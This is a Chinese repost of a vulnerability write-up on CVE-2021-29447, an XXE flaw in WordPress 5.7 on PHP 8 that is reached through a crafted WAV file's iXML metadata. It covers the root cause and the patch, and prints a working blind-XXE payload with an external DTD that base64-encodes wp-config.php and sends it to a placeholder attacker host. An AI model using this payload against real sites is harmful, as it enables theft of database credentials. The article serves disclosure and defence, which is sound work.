WordPress 5.7 XXE漏洞分析

admin 2025年1月2日10:29:45评论12 views字数 5241阅读17分28秒阅读模式

在SonarSource,我们正在不断改进代码分析器和安全规则。最近,我们改进了PHP安全引擎,以检测更多OWASP Top 10和CWE Top 25问题类型。当针对一些最受欢迎的开源PHP项目测试我们的新分析器时,WordPress代码库中提出了一个有趣的问题。

WordPress是世界上最受欢迎的内容管理系统,大约40%的网站使用WordPress 。这种广泛采用使其成为网络罪犯的首要目标之一。安全社区和漏洞赏金猎人对它的代码进行了严格的审查,这些赏金猎人因报告安全问题而获得报酬。关键的代码问题很少会碰到他们。 

在此博客文章中,我们正在调查分析器报告的新漏洞。我们将解释与PHP 8相关的根本原因,并演示攻击者如何利用它来破坏WordPress安装的安全性。我们负责地向WordPress安全团队披露了该代码漏洞,该漏洞已在最新版本5.7.1中修复并分配了CVE-2021-29447。

影响

检测到的代码漏洞是经过身份验证的XML外部实体(XXE)注入。它会影响5.7.1之前的WordPress版本,并且可以允许远程攻击者实现以下目的:

任意文件公开:可以检索主机文件系统上任何文件的内容,例如wp-config.php,其中包含敏感数据,例如数据库凭据。

服务器端请求伪造(SSRF):可以代表WordPress安装发出HTTP请求。根据环境的不同,这可能会产生严重的影响。

仅当WordPress在PHP 8上运行时,才能利用此漏洞。此外,还需要具有上载媒体文件的权限。在标准的WordPress安装上,这意味着拥有作者权限。但是,与允许访问者上载媒体文件的另一个漏洞或插件结合使用时,可以以较低的特权来利用它。

WordPress于2021年4月14日发布了安全和维护更新,以修补该漏洞并保护其用户。

技术细节

在本节中,我们将仔细研究该漏洞的技术细节。首先,我们简要回顾一下XXE漏洞是什么。然后,我们通过查看分析器在代码中的位置,深入分析了分析器在WordPress核心中报告的漏洞,以及为什么它已尝试在PHP 8中再次被利用,即使我们已尽力防止在受影响的代码行中出现此类漏洞。。最后,我们演示了攻击者如何通过使用特制输入提取wp-config.php文件来利用它,以及如何防止该漏洞。

XML外部实体(XXE)漏洞

XML提供了定义可在整个文档中重用的自定义实体的可能性。例如,这可以用来避免重复。以下代码定义了实体myEntity以便进一步使用。

<!DOCTYPE myDoc [ <!ENTITY myEntity "a long value" > ]><myDoc><foo>&myEntity;</foo><bar>&myEntity;</bar></myDoc>

定义的实体的值也可以源自URI引用的外部源。在这种情况下,它们称为外部实体:

<!DOCTYPE myDoc [ <!ENTITY myExternalEntity SYSTEM "http://…..com/value.txt" > ]><myDoc><foo>&myExternalEntity;</foo><myDoc>

XXE攻击滥用了此功能。当在用户控制的内容上运行松散配置的XML解析器时,它们是可能的。松散配置通常意味着在结果中所有实体都被其对应的值替换。例如,在最后一个示例中,如果攻击者将提供文件:///var/www/wp-config.php作为URI并能够查看解析的XML的结果,则她将成功泄漏敏感文件的内容。但是,解析后的XML的结果并不总是显示回给用户,本文中描述的WordPress漏洞就是这种情况。正如我们稍后将看到的,有一些方法可以解决这个问题。

这是XXE背后的主要思想和机制(在规则数据库中了解更多信息)。除了敏感文件泄露外,XXE还可能产生其他影响,例如服务器端请求伪造(要检索外部实体的内容,必须发出请求,S5144),以及拒绝服务(实体可以引用其他实体导致)。替代过程中的可能指数增长,也就是十亿次笑声攻击()。

WordPress中的XXE

WordPress有一个媒体库,使经过身份验证的用户可以上传媒体文件,然后可以在其博客文章中使用它们。为了从这些媒体文件中提取元信息,例如艺术家名称或标题,WordPress使用了getID3库。其中一些元数据以XML格式进行解析。在这里,我们的分析仪报告了可能的XXE漏洞(730行)。

wp-includes / ID3 / getid3.lib.php

723    if (PHP_VERSION_ID < 80000) {724725        // This function has been deprecated in PHP 8.0 because in libxml 2.9.0, external entity loading is726        // disabled by default, so this function is no longer needed to protect against XXE attacks.728        $loader = libxml_disable_entity_loader(true);729    }730    $XMLobject = simplexml_load_string($XMLstring, 'SimpleXMLElement', LIBXML_NOENT);

使用的simplexml_load_string() function是一个PHP函数,它解析作为XML传递给其第一个参数的字符串。可以使用在第三个参数中传递的标志来配置基础XML解析器(PHP依赖Libxml2)。

所显示的代码段中的注释特别引人关注,因为它们提到了针对XXE的保护。在查看静态代码分析器的发现时阅读它们可能会引起怀疑,它是一个假阳性,并且已经采取了正确的预防措施来避免此漏洞。但是,是吗?(剧透:没有)

为了更好地理解代码和周围的注释,查看其历史记录很有用。2014年,WordPress 3.9.2中修复了一个XXE漏洞。这是调用libxml_disable_entity_loader(true)的主要原因 在这一点上被添加。PHP函数libxml_disable_entity_loader() 配置XML解析器以禁用外部实体加载。

最近,随着PHP 8的发布,对代码进行了一些改动,以适应libxml_disable_entity_loader()的弃用。函数,并且仅当正在运行的PHP版本早于8时才调用它。不推荐使用此函数,因为较新的PHP版本使用Libxml2 v2.9 + (默认情况下会禁用外部实体获取)。

现在,我们正在查看的代码中的微妙之处是simplexml_load_string() 不使用默认配置调用。即使名称可能不建议使用,标志LIBXML_NOENT 启用实体替换。出乎意料的是,在这种情况下,NOENT意味着结果中将不留任何实体,因此将提取并替换外部实体。结果,在运行于PHP 8的WordPress实例上,再次利用了WordPress 3.9.2中修复的XXE漏洞成为可能。

开发

要利用所描述的漏洞,必须了解用户控制的数据是否以及如何达到将其解析为$ XMLstring一部分的XML的程度。变量在:

wp-includes / ID3 / getid3.lib.php

721    public static function XML2array($XMLstring) {730        $XMLobject = simplexml_load_string($XMLstring, 'SimpleXMLElement', LIBXML_NOENT);

当文件上传到媒体库时,WordPress使用getID3简化了此元数据的提取。对getID3库的研究表明,当分析其字符串的元数据时,此时解析的字符串是wave音频文件的iXML块。

wp-includes / ID3 / module.audio-video.riff.php

426    if (isset($thisfile_riff_WAVE['iXML'][0]['data'])) {427        // requires functions simplexml_load_string and get_object_vars428        if ($parsedXML = getid3_lib::XML2array($thisfile_riff_WAVE['iXML'][0]['data'])) {

WordPress确实允许上传Wave音频文件,并使用wp_read_audio_metadata()提取其元数据。函数(依赖于getID3)。因此,通过上传制作的wave文件,可以注入和解析恶意XML。可以使用以下内容创建一个最小文件,该文件具有要作为wave处理的必要结构,并且在iXML块中包含攻击有效载荷:

RIFFXXXXWAVEBBBBiXML_OUR_PAYLOAD_

(BBBB是四个字节,以小尾数表示XML有效负载的长度。)

盲XXE

当攻击者使用描述的策略注入有效负载时,已解析XML的结果不会显示在用户界面中。因此,要提取敏感文件(例如wp-config.php)的内容,攻击者必须依靠盲目的XXE技术(也称为带外XXE)来实现此目的。这类似于我们先前关于利用Shopware的博客文章中描述的技术。基本思想是这样的:

创建第一个外部实体(例如%data),其值将替换为文件的内容。

创建另一个外部实体,其URI设置为“ http://attacker_domain.com/%data ; ”。请注意,URI的值包含将被替换的第一个实体。

当解析第二个实体时,解析器将向“ http://attacker_domain.com/ _SUBSTITUTED_data ”发出请求,从而使文件的内容在Web服务器的日志中可见。

为了使外部实体的URI依赖于另一个替换实体的值,我们确实使用了参数实体和外部DTD。此外,我们利用php://流包装器来压缩和编码文件的内容。放在一起,以下内容将导致提取敏感的wp-config.php文件:

有效负载

RIFFXXXXWAVEBBBBiXML<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY % sp SYSTEM "http://attacker-url.domain/xxe.dtd">%sp;%param1;]><r>&exfil;</r>>

(BBBB是四个字节,以小尾数表示XML有效负载的长度。)

xxe.dtd

<!ENTITY % data SYSTEM "php://filter/zlib.deflate/convert.base64-encode/resource=../wp-config.php"><!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://attacker-url.domain/?%data;'>">

修补

WordPress通过重新引入对libxml_disable_entity_loader()的调用来修补了5.7.1版中的漏洞。PHP 8中不推荐使用的函数,即使是较新的PHP版本。为了避免PHP弃用警告,请使用PHP错误抑制运算符@ 已添加到通话中。

wp-includes / ID3 / getid3.lib.php

721    public static function XML2array($XMLstring) {727      $loader = @libxml_disable_entity_loader(true);728      $XMLobject = simplexml_load_string($XMLstring, 'SimpleXMLElement', LIBXML_NOENT);

重新引入对不推荐使用的函数的调用的另一种方法是使用PHP的libxml_set_external_entity_loader()函数。根据PHP文档,这是推荐的方法。在需要加载特定资源的情况下,它还允许对外部实体加载器进行更精细的控制。当然,只有在PHP 8中确实需要实体替换的情况下,才需要这样做。

时间线

04.02.2021我们在Hackerone上报告PoC的漏洞

05.02.2021WordPress确认收到报告

01.03.2021WordPress向我们更新了有关分类和正在进行的修复的信息

08.03.2021

概括

在此博客文章中,我们研究了在最流行的内容管理系统WordPress中发现的一个有趣的XXE漏洞。它允许经过身份验证的攻击者从主机服务器泄漏敏感文件,这可能会导致完全破坏。我们展示了这种漏洞的工作方式,以及攻击者如何通过使用盲目的XXE技术来利用它。此外,我们了解了PHP 8代码中的一个相关陷阱,以及开发人员如何在自己的应用程序中防止这种类型的代码漏洞。我们要感谢WordPress团队在新的补丁程序发布过程中的出色协作和快速解决方案。

原文始发于微信公众号(Ots安全):WordPress 5.7 XXE漏洞分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月2日10:29:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   WordPress 5.7 XXE漏洞分析http://cn-sec.com/archives/1106103.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息